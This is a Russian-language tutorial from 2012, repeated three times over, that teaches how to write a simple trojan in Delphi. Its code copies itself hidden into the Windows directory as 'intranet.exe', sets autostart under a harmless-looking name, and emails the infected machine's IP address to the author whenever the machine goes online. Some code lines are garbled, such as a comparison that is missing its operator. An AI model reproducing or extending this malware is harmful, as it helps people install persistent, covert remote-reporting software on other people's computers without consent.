Delphi
24.01.2012 20:13
Сегодня мы
рассмотрим как сделать простенького трояна на
Delphi.
Кто-то спросит: "а зачем это надо? их и так до хрена.." вот поэтому и надо, что
их дохрена и большинство делает не то что надо. Итак, приступим: сначала сделаем
простенький троян, а потом будем наращивать его функциональность.
Пока что для создания трояна будем пользоваться стандартными компонентами
Delphi
и навесными, которые можно свободно скачать.
Да и еще, дельфи нужна 2, 3 или
4-я, любителей 5-ой обломаю - она больно глючная. Ну чтож, приступим, для начала
создадим форму (кто умеет без форм - будем без форм). Накидаем на форму:
TRaylightAutostart, TOnlineIP, TNMSMTP.
Пока хватит, потом еще добавим ежели что :-). В
OnCreate
формы пихаем следующее:
var WinPath : array [0..255] of char;
CurPath : String;
begin
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
If pos(WinPath, CurPath) 0 then
With Start1 do
begin
AppName := 'IntraNet';
StartNextLogon := True;
end
else
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
end;
Что это все делает:
var WinPath :
array [0..255] of char;
CurPath : String;
Объявление переменных.
WinPathбудем
использовать для каталога винды, а
CurPathдля
текущего каталога.
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
Заполняем переменные, надеюсь эти функции в знаете, ежели нет, то
вам прямая дорога в хелпы.
If pos(WinPath, CurPath) 0 then
Если наш файл в каталоге винды, то
With RayLightAutostart1 do
begin
AppName := 'IntraNet';
Как зарегестрируемся в реестре, то биш как назовемся, а назавемся
"Intranet"
- что то знакомое, а что делает не помним :-).
StartNextLogon := True;
Запускаться при следующем старте винды - да. То есть теперь при перезагрузке
винды мы запустимся и пропись в реестре будет в несовсем обычном месте, а именно
в
RunOnce,
а не в
Run.
end
else
Ежели файл не в каталоге винды, то идем сюда и копируем его в каталог с виндами,
а потом сами себя запускаем и закрываемся... или во всяком случае пытаемся :-).
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
Ну чтож, процедуру автозапуска мы сотворили, теперь вирь каждый раз при запуске
машины будет сам себя инициализировать, а при запуске из каталога отличного от
виндов, мы сами себя скопируем.
Теперь нам при выходе компа в инет надо послать письмо, так? ну чтож, так и
сделаем. Cледующтй код ставим в событие
OnChangeу
OnlineIP:
If not
OnlineIP1.Online then exit;
если мы не в сети, то выходим из процедуры
NmSMTP1.Connect;
Коннектимся
SMTP
клиентом к серверу (SMTP)
if NMSMTP1.Connected then
Если подконнектились, то
begin
NMSMTP1.SubType := mtPlain;
Тип письма: обычный текст
NMSMTP1.PostMessage.FromAddress := '';
От кого письмо идет (адрес)
NMSMTP1.PostMessage.FromName := 'First Thojan';
От кого идет письмо (имя)
NMSMTP1.PostMessage.ToAddress.Text := '
Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript
';
На какой адресс шлем письмо
NMSMTP1.PostMessage.Body.Text := 'Ip:'+OnlineIp1.IP;
Что будкт в теле письма. У нас просто будет IP машины (пока что)
NMSMTP1.PostMessage.Subject := 'Server is online';
И наконец, какая тема у письма
NMSMTP1.SendMail;
И вот наше письмо тютю :-).
Delphi
24.01.2012 20:13
Сегодня мы
рассмотрим как сделать простенького трояна на
Delphi.
Кто-то спросит: "а зачем это надо? их и так до хрена.." вот поэтому и надо, что
их дохрена и большинство делает не то что надо. Итак, приступим: сначала сделаем
простенький троян, а потом будем наращивать его функциональность.
Пока что для создания трояна будем пользоваться стандартными компонентами
Delphi
и навесными, которые можно свободно скачать.
Да и еще, дельфи нужна 2, 3 или
4-я, любителей 5-ой обломаю - она больно глючная. Ну чтож, приступим, для начала
создадим форму (кто умеет без форм - будем без форм). Накидаем на форму:
TRaylightAutostart, TOnlineIP, TNMSMTP.
Пока хватит, потом еще добавим ежели что :-). В
OnCreate
формы пихаем следующее:
var WinPath : array [0..255] of char;
CurPath : String;
begin
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
If pos(WinPath, CurPath) 0 then
With Start1 do
begin
AppName := 'IntraNet';
StartNextLogon := True;
end
else
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
end;
Что это все делает:
var WinPath :
array [0..255] of char;
CurPath : String;
Объявление переменных.
WinPathбудем
использовать для каталога винды, а
CurPathдля
текущего каталога.
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
Заполняем переменные, надеюсь эти функции в знаете, ежели нет, то
вам прямая дорога в хелпы.
If pos(WinPath, CurPath) 0 then
Если наш файл в каталоге винды, то
With RayLightAutostart1 do
begin
AppName := 'IntraNet';
Как зарегестрируемся в реестре, то биш как назовемся, а назавемся
"Intranet"
- что то знакомое, а что делает не помним :-).
StartNextLogon := True;
Запускаться при следующем старте винды - да. То есть теперь при перезагрузке
винды мы запустимся и пропись в реестре будет в несовсем обычном месте, а именно
в
RunOnce,
а не в
Run.
end
else
Ежели файл не в каталоге винды, то идем сюда и копируем его в каталог с виндами,
а потом сами себя запускаем и закрываемся... или во всяком случае пытаемся :-).
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
Ну чтож, процедуру автозапуска мы сотворили, теперь вирь каждый раз при запуске
машины будет сам себя инициализировать, а при запуске из каталога отличного от
виндов, мы сами себя скопируем.
Теперь нам при выходе компа в инет надо послать письмо, так? ну чтож, так и
сделаем. Cледующтй код ставим в событие
OnChangeу
OnlineIP:
If not
OnlineIP1.Online then exit;
если мы не в сети, то выходим из процедуры
NmSMTP1.Connect;
Коннектимся
SMTP
клиентом к серверу (SMTP)
if NMSMTP1.Connected then
Если подконнектились, то
begin
NMSMTP1.SubType := mtPlain;
Тип письма: обычный текст
NMSMTP1.PostMessage.FromAddress := '';
От кого письмо идет (адрес)
NMSMTP1.PostMessage.FromName := 'First Thojan';
От кого идет письмо (имя)
NMSMTP1.PostMessage.ToAddress.Text := '
Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript
';
На какой адресс шлем письмо
NMSMTP1.PostMessage.Body.Text := 'Ip:'+OnlineIp1.IP;
Что будкт в теле письма. У нас просто будет IP машины (пока что)
NMSMTP1.PostMessage.Subject := 'Server is online';
И наконец, какая тема у письма
NMSMTP1.SendMail;
И вот наше письмо тютю :-).
Delphi
24.01.2012 20:13
Сегодня мы
рассмотрим как сделать простенького трояна на
Delphi.
Кто-то спросит: "а зачем это надо? их и так до хрена.." вот поэтому и надо, что
их дохрена и большинство делает не то что надо. Итак, приступим: сначала сделаем
простенький троян, а потом будем наращивать его функциональность.
Пока что для создания трояна будем пользоваться стандартными компонентами
Delphi
и навесными, которые можно свободно скачать.
Да и еще, дельфи нужна 2, 3 или
4-я, любителей 5-ой обломаю - она больно глючная. Ну чтож, приступим, для начала
создадим форму (кто умеет без форм - будем без форм). Накидаем на форму:
TRaylightAutostart, TOnlineIP, TNMSMTP.
Пока хватит, потом еще добавим ежели что :-). В
OnCreate
формы пихаем следующее:
var WinPath : array [0..255] of char;
CurPath : String;
begin
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
If pos(WinPath, CurPath) 0 then
With Start1 do
begin
AppName := 'IntraNet';
StartNextLogon := True;
end
else
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
end;
Что это все делает:
var WinPath :
array [0..255] of char;
CurPath : String;
Объявление переменных.
WinPathбудем
использовать для каталога винды, а
CurPathдля
текущего каталога.
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
Заполняем переменные, надеюсь эти функции в знаете, ежели нет, то
вам прямая дорога в хелпы.
If pos(WinPath, CurPath) 0 then
Если наш файл в каталоге винды, то
With RayLightAutostart1 do
begin
AppName := 'IntraNet';
Как зарегестрируемся в реестре, то биш как назовемся, а назавемся
"Intranet"
- что то знакомое, а что делает не помним :-).
StartNextLogon := True;
Запускаться при следующем старте винды - да. То есть теперь при перезагрузке
винды мы запустимся и пропись в реестре будет в несовсем обычном месте, а именно
в
RunOnce,
а не в
Run.
end
else
Ежели файл не в каталоге винды, то идем сюда и копируем его в каталог с виндами,
а потом сами себя запускаем и закрываемся... или во всяком случае пытаемся :-).
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
Ну чтож, процедуру автозапуска мы сотворили, теперь вирь каждый раз при запуске
машины будет сам себя инициализировать, а при запуске из каталога отличного от
виндов, мы сами себя скопируем.
Теперь нам при выходе компа в инет надо послать письмо, так? ну чтож, так и
сделаем. Cледующтй код ставим в событие
OnChangeу
OnlineIP:
If not
OnlineIP1.Online then exit;
если мы не в сети, то выходим из процедуры
NmSMTP1.Connect;
Коннектимся
SMTP
клиентом к серверу (SMTP)
if NMSMTP1.Connected then
Если подконнектились, то
begin
NMSMTP1.SubType := mtPlain;
Тип письма: обычный текст
NMSMTP1.PostMessage.FromAddress := '';
От кого письмо идет (адрес)
NMSMTP1.PostMessage.FromName := 'First Thojan';
От кого идет письмо (имя)
NMSMTP1.PostMessage.ToAddress.Text := '
Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript
';
На какой адресс шлем письмо
NMSMTP1.PostMessage.Body.Text := 'Ip:'+OnlineIp1.IP;
Что будкт в теле письма. У нас просто будет IP машины (пока что)
NMSMTP1.PostMessage.Subject := 'Server is online';
И наконец, какая тема у письма
NMSMTP1.SendMail;
И вот наше письмо тютю :-).